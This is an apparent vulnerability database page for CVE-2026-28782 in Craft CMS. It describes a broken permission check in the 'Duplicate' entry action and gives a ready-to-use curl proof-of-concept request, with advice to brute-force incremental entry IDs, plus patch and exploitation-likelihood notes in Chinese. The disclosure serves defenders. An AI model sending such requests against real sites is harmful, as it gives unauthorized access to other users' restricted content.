CVE-2026-28782

描述

## Description The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. ## Proof of Concept ### Prerequisites - A user with "View Entries" permission on any section. ### Steps to Reproduce 1. Log in as a user with minimal permissions ("View Entries"). 1. Identify the target Entry ID (e.g., via brute-force `1` to `N`). 1. Send the following cURL request: > Replace `craft.local`, `<Cookie>`, `<CSRF>` and `6393` (which is the entry ID): ```bash curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action' ``` 1. Observe that a new entry is created with the attacker as the owner, granting full access to the content. ## Resources https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

如何修補 CVE-2026-28782

要修補 CVE-2026-28782,請將受影響套件升級到下列已修補版本。

• —升級至 5.9.0-beta.1 或更新版本

CVE-2026-28782 正在被利用嗎?

低 — EPSS 為 0.0%,目前沒有觀察到大規模利用活動。

受影響套件(1)